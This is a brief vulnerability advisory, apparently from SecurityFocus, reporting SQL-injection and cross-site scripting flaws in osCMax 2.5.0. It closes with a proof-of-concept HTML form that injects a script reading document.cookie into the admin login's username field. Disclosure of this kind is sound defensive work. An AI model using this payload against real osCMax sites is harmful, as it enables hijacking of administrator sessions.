source: http://www.securityfocus.com/bid/52886/info

osCMax is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.

Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

osCMax 2.5.0 is vulnerable; prior versions may also be affected. 

<form action="http://www.example.com/admin/login.php?action=process" method="post" name="main" id="main">
<input type="hidden" name="username" value="'<script>alert(document.cookie);</script>">
<input type="hidden" name="password" value="">
<input type="submit" name="submit" value="Send">
</form>